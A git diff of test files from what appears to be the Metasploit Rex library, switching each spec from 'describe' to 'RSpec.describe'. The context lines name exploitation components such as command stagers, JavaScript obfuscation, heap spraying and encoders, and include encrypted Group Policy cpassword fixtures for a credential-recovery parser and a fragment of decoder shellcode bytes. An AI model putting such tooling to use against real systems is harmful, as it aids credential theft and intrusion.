6e401d897d..639f4c9ae1 100644 --- a/spec/lib/rex/arch/x86_spec.rb +++ b/spec/lib/rex/arch/x86_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch/x86' -describe Rex::Arch::X86 do +RSpec.describe Rex::Arch::X86 do describe ".reg_number" do subject { described_class.reg_number(register) } diff --git a/spec/lib/rex/arch/zarch_spec.rb b/spec/lib/rex/arch/zarch_spec.rb index 9d4aafa36d..03d09d3a8c 100644 --- a/spec/lib/rex/arch/zarch_spec.rb +++ b/spec/lib/rex/arch/zarch_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/arch' -describe Rex::Arch do +RSpec.describe Rex::Arch do describe ".pack_addr" do subject { described_class.pack_addr(arch, addr) } diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb index 8f019df3f0..f7b958b974 100644 --- a/spec/lib/rex/arch_spec.rb +++ b/spec/lib/rex/arch_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch' -describe Rex::Arch do +RSpec.describe Rex::Arch do describe ".adjust_stack_pointer" do subject { described_class.adjust_stack_pointer(arch, adjustment) } diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb index d4fc8be5ef..3c482e2c47 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/alpha_mixed' -describe Rex::Encoder::Alpha2::AlphaMixed do +RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb index bab8c9c081..14a092b4ba 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/alpha_upper' -describe Rex::Encoder::Alpha2::AlphaUpper do +RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/generic_spec.rb b/spec/lib/rex/encoder/alpha2/generic_spec.rb index 60e24472ef..4e484eeb14 100644 --- a/spec/lib/rex/encoder/alpha2/generic_spec.rb +++ b/spec/lib/rex/encoder/alpha2/generic_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/generic' -describe Rex::Encoder::Alpha2::Generic do +RSpec.describe Rex::Encoder::Alpha2::Generic do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb index 9ace965dd5..d0e158dbb4 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/unicode_mixed' -describe Rex::Encoder::Alpha2::UnicodeMixed do +RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb index 29f80b7ee7..04a9d7caa9 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/unicode_upper' -describe Rex::Encoder::Alpha2::UnicodeUpper do +RSpec.describe Rex::Encoder::Alpha2::UnicodeUpper do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/ndr_spec.rb b/spec/lib/rex/encoder/ndr_spec.rb index 57a1f60829..64c823a407 100644 --- a/spec/lib/rex/encoder/ndr_spec.rb +++ b/spec/lib/rex/encoder/ndr_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/ndr' -describe Rex::Encoder::NDR do +RSpec.describe Rex::Encoder::NDR do describe ".align" do subject { described_class.align(string) } diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb index 189ad049f0..7d5f5f440e 100644 --- a/spec/lib/rex/encoder/nonalpha_spec.rb +++ b/spec/lib/rex/encoder/nonalpha_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/nonalpha' -describe Rex::Encoder::NonAlpha do +RSpec.describe Rex::Encoder::NonAlpha do let(:decoder) do dec = "\x66\xB9\xFF\xFF" + diff --git a/spec/lib/rex/encoder/xdr_spec.rb b/spec/lib/rex/encoder/xdr_spec.rb index 348a9a02b3..22d5fc180f 100644 --- a/spec/lib/rex/encoder/xdr_spec.rb +++ b/spec/lib/rex/encoder/xdr_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/xdr' -describe Rex::Encoder::XDR do +RSpec.describe Rex::Encoder::XDR do describe ".encode_int" do subject(:encoded_int) { described_class.encode_int(int) } diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb index b52f71e98b..2ae09288f9 100644 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ b/spec/lib/rex/encoding/xor/byte_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/byte' require 'spec_helper' -describe Rex::Encoding::Xor::Byte do +RSpec.describe Rex::Encoding::Xor::Byte do it_behaves_like "an xor encoder", 1 end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb index 05253dd97e..ef8a548dd4 100644 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ b/spec/lib/rex/encoding/xor/dword_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/dword' require 'spec_helper' -describe Rex::Encoding::Xor::Dword do +RSpec.describe Rex::Encoding::Xor::Dword do it_behaves_like "an xor encoder", 4 end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb index a8ed89bf61..853a7fb210 100644 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ b/spec/lib/rex/encoding/xor/qword_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/qword' require 'spec_helper' -describe Rex::Encoding::Xor::Qword do +RSpec.describe Rex::Encoding::Xor::Qword do it_behaves_like "an xor encoder", 8 end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb index a14c45c837..06a8c5cc9a 100644 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ b/spec/lib/rex/encoding/xor/word_spec.rb @@ -3,6 +3,6 @@ require 'rex/encoding/xor/word' require 'spec_helper' -describe Rex::Encoding::Xor::Word do +RSpec.describe Rex::Encoding::Xor::Word do it_behaves_like "an xor encoder", 2 end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb index 7667ce19b9..edcdc1b99a 100644 --- a/spec/lib/rex/exploitation/cmdstager/base_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/base_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerBase do +RSpec.describe Rex::Exploitation::CmdStagerBase do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb index 0a072db8a9..803a25f569 100644 --- a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerBourne do +RSpec.describe Rex::Exploitation::CmdStagerBourne do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb index 29e165cdbc..d40c9f5df8 100644 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerCertutil do +RSpec.describe Rex::Exploitation::CmdStagerCertutil do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb index 06d53c477e..f7e8799e89 100644 --- a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerDebugAsm do +RSpec.describe Rex::Exploitation::CmdStagerDebugAsm do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb index b70e228ada..431a885ac1 100644 --- a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerDebugWrite do +RSpec.describe Rex::Exploitation::CmdStagerDebugWrite do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb index a3d91f2382..5bcd445fd5 100644 --- a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerEcho do +RSpec.describe Rex::Exploitation::CmdStagerEcho do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb index 02927f7ecb..7a86dd5538 100644 --- a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerPrintf do +RSpec.describe Rex::Exploitation::CmdStagerPrintf do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb index 813533fd4d..bd13bd7d28 100644 --- a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerTFTP do +RSpec.describe Rex::Exploitation::CmdStagerTFTP do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb index 9b30c4cceb..0de9fcd8d1 100644 --- a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/cmdstager' -describe Rex::Exploitation::CmdStagerVBS do +RSpec.describe Rex::Exploitation::CmdStagerVBS do let(:exe) { "MZ" } diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb index ba88ab7fdd..d23541b730 100644 --- a/spec/lib/rex/exploitation/encryptjs_spec.rb +++ b/spec/lib/rex/exploitation/encryptjs_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/encryptjs' -describe Rex::Exploitation::EncryptJS do +RSpec.describe Rex::Exploitation::EncryptJS do let(:code) { "var test = 'metasploit';" } let(:key) { 'secret' } diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb index 50fc8751a6..951d530b1c 100644 --- a/spec/lib/rex/exploitation/heaplib_spec.rb +++ b/spec/lib/rex/exploitation/heaplib_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/exploitation/heaplib' -describe Rex::Exploitation::HeapLib do +RSpec.describe Rex::Exploitation::HeapLib do let(:custom_code) { "var test = 'metasploit';" } let(:plain_signature) { 'JavaScript Heap Exploitation library' } diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index 23eabd0032..577ddb2701 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Detect do +RSpec.describe Rex::Exploitation::Js::Detect do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index b016bce066..1750373ff2 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Memory do +RSpec.describe Rex::Exploitation::Js::Memory do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 7369bc5897..34891e4866 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Network do +RSpec.describe Rex::Exploitation::Js::Network do context "Class methods" do diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 3dcf60e7ac..240d4ad0ec 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/js' -describe Rex::Exploitation::Js::Utils do +RSpec.describe Rex::Exploitation::Js::Utils do context "Class methods" do diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb index ec56762cf6..e1f0c66085 100644 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ b/spec/lib/rex/exploitation/jsobfu_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/exploitation/jsobfu' -describe Rex::Exploitation::JSObfu do +RSpec.describe Rex::Exploitation::JSObfu do TEST_JS = %Q| function x() { alert('1'); diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 100652fa96..8a2e2aa82a 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -1,6 +1,6 @@ require 'rex/exploitation/ropdb' -describe Rex::Exploitation::RopDb do +RSpec.describe Rex::Exploitation::RopDb do subject(:ropdb) do described_class.new diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index 7eba3d2f0e..5f4d2deef0 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -1,6 +1,6 @@ require 'rex/file' -describe Rex::FileUtils do +RSpec.describe Rex::FileUtils do context "Class methods" do context ".normalize_win_path" do diff --git a/spec/lib/rex/image_source/disk_spec.rb b/spec/lib/rex/image_source/disk_spec.rb index a00b59360c..8273dd92a9 100644 --- a/spec/lib/rex/image_source/disk_spec.rb +++ b/spec/lib/rex/image_source/disk_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/image_source/disk' -describe Rex::ImageSource::Disk do +RSpec.describe Rex::ImageSource::Disk do let(:path) do File.join(Msf::Config.data_directory, "templates", "template_x86_windows_old.exe") diff --git a/spec/lib/rex/image_source/memory_spec.rb b/spec/lib/rex/image_source/memory_spec.rb index d2246ac83c..cec805d126 100644 --- a/spec/lib/rex/image_source/memory_spec.rb +++ b/spec/lib/rex/image_source/memory_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/image_source/memory' -describe Rex::ImageSource::Memory do +RSpec.describe Rex::ImageSource::Memory do let(:raw_data) { 'ABCDEFGHIJKLMNOP' } diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb index 86e957f19c..41c39baeb8 100644 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/java' -describe Rex::Java::Serialization::Builder do +RSpec.describe Rex::Java::Serialization::Builder do subject(:builder) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/annotation_spec.rb b/spec/lib/rex/java/serialization/model/annotation_spec.rb index d648809fef..acd6361cd8 100644 --- a/spec/lib/rex/java/serialization/model/annotation_spec.rb +++ b/spec/lib/rex/java/serialization/model/annotation_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Annotation do +RSpec.describe Rex::Java::Serialization::Model::Annotation do subject(:annotation) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb index 333b124551..28a72ece9a 100644 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::BlockDataLong do +RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do subject(:block) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb index a328084a8c..e6c93dda3a 100644 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::BlockData do +RSpec.describe Rex::Java::Serialization::Model::BlockData do subject(:block) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/class_desc_spec.rb b/spec/lib/rex/java/serialization/model/class_desc_spec.rb index 7e51a104c7..277a2fa4df 100644 --- a/spec/lib/rex/java/serialization/model/class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::ClassDesc do +RSpec.describe Rex::Java::Serialization::Model::ClassDesc do subject(:class_desc) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb index 151e8e0ad5..d8e14cd9bc 100644 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ b/spec/lib/rex/java/serialization/model/field_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Field do +RSpec.describe Rex::Java::Serialization::Model::Field do subject(:field) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb index 1e9b59d4b8..cd2891aabc 100644 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/long_utf_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::LongUtf do +RSpec.describe Rex::Java::Serialization::Model::LongUtf do subject(:long_utf) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_array_spec.rb b/spec/lib/rex/java/serialization/model/new_array_spec.rb index f4aa70d96d..16d1c28059 100644 --- a/spec/lib/rex/java/serialization/model/new_array_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_array_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewArray do +RSpec.describe Rex::Java::Serialization::Model::NewArray do subject(:new_array) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb index c69a7a7b14..f3b5180d4c 100644 --- a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewClassDesc do +RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do subject(:class_desc_new) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/new_enum_spec.rb b/spec/lib/rex/java/serialization/model/new_enum_spec.rb index 2c3c16e206..fd91348cc8 100644 --- a/spec/lib/rex/java/serialization/model/new_enum_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_enum_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewEnum do +RSpec.describe Rex::Java::Serialization::Model::NewEnum do subject(:new_enum) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/new_object_spec.rb b/spec/lib/rex/java/serialization/model/new_object_spec.rb index 1d4779bded..5fc99e8216 100644 --- a/spec/lib/rex/java/serialization/model/new_object_spec.rb +++ b/spec/lib/rex/java/serialization/model/new_object_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::NewObject do +RSpec.describe Rex::Java::Serialization::Model::NewObject do subject(:new_object) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb index cf9b59a94a..380d92a9af 100644 --- a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb +++ b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::ProxyClassDesc do +RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do subject(:proxy_class_desc) do described_class.new end diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2bfb0d9ab1..a8b1e11d51 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Stream do +RSpec.describe Rex::Java::Serialization::Model::Stream do subject(:stream) do described_class.new diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb index 4104912f8e..be54618d83 100644 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/utf_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'stringio' -describe Rex::Java::Serialization::Model::Utf do +RSpec.describe Rex::Java::Serialization::Model::Utf do subject(:utf) do described_class.new end diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb index a4f185ef5f..d065a049f8 100644 --- a/spec/lib/rex/mac_oui_spec.rb +++ b/spec/lib/rex/mac_oui_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mac_oui' -describe Rex::Oui do +RSpec.describe Rex::Oui do describe ".lookup_oui_fullname" do subject(:oui_fullname) { described_class.lookup_oui_fullname(mac) } diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb index 85f7a9fc27..2f45d9179d 100644 --- a/spec/lib/rex/mime/encoding_spec.rb +++ b/spec/lib/rex/mime/encoding_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Encoding do +RSpec.describe Rex::MIME::Encoding do subject do mod = Class.new diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb index e4063d86ac..38fa11218d 100644 --- a/spec/lib/rex/mime/header_spec.rb +++ b/spec/lib/rex/mime/header_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Header do +RSpec.describe Rex::MIME::Header do let(:mime_headers_test) do <<-EOS diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb index ec3cfc0c23..e38f03e332 100644 --- a/spec/lib/rex/mime/message_spec.rb +++ b/spec/lib/rex/mime/message_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/mime' require 'rex/text' -describe Rex::MIME::Message do +RSpec.describe Rex::MIME::Message do subject do described_class.new diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb index 1f150f882f..232fbf42cd 100644 --- a/spec/lib/rex/mime/part_spec.rb +++ b/spec/lib/rex/mime/part_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/mime' -describe Rex::MIME::Part do +RSpec.describe Rex::MIME::Part do subject do described_class.new diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb index 8385a57a38..904e47d48e 100644 --- a/spec/lib/rex/ole/clsid_spec.rb +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::CLSID do +RSpec.describe Rex::OLE::CLSID do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/difat_spec.rb b/spec/lib/rex/ole/difat_spec.rb index 82a5cc9694..617a5f32a9 100644 --- a/spec/lib/rex/ole/difat_spec.rb +++ b/spec/lib/rex/ole/difat_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::DIFAT do +RSpec.describe Rex::OLE::DIFAT do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/direntry_spec.rb b/spec/lib/rex/ole/direntry_spec.rb index 3b4cd58c44..07fc8d5724 100644 --- a/spec/lib/rex/ole/direntry_spec.rb +++ b/spec/lib/rex/ole/direntry_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::DirEntry do +RSpec.describe Rex::OLE::DirEntry do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/header_spec.rb b/spec/lib/rex/ole/header_spec.rb index 1a4a062a49..77546a4779 100644 --- a/spec/lib/rex/ole/header_spec.rb +++ b/spec/lib/rex/ole/header_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::Header do +RSpec.describe Rex::OLE::Header do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/minifat_spec.rb b/spec/lib/rex/ole/minifat_spec.rb index 2896073271..42181a33c6 100644 --- a/spec/lib/rex/ole/minifat_spec.rb +++ b/spec/lib/rex/ole/minifat_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::MiniFAT do +RSpec.describe Rex::OLE::MiniFAT do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb index f9668a97cb..54eb93b543 100644 --- a/spec/lib/rex/ole/util_spec.rb +++ b/spec/lib/rex/ole/util_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/ole' -describe Rex::OLE::Util do +RSpec.describe Rex::OLE::Util do before(:each) do Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index a2e61578a3..4b4491ce55 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -87,7 +87,7 @@ cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuK cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" cpassword_bad = "blah" -describe Rex::Parser::GPP do +RSpec.describe Rex::Parser::GPP do GPP = Rex::Parser::GPP ## diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index d9d1b0d3bb..6ab2499053 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -23,7 +23,7 @@ xml = ' </runstats></nmaprun> ' -describe Rex::Parser::NmapXMLStreamParser do +RSpec.describe Rex::Parser::NmapXMLStreamParser do parser = 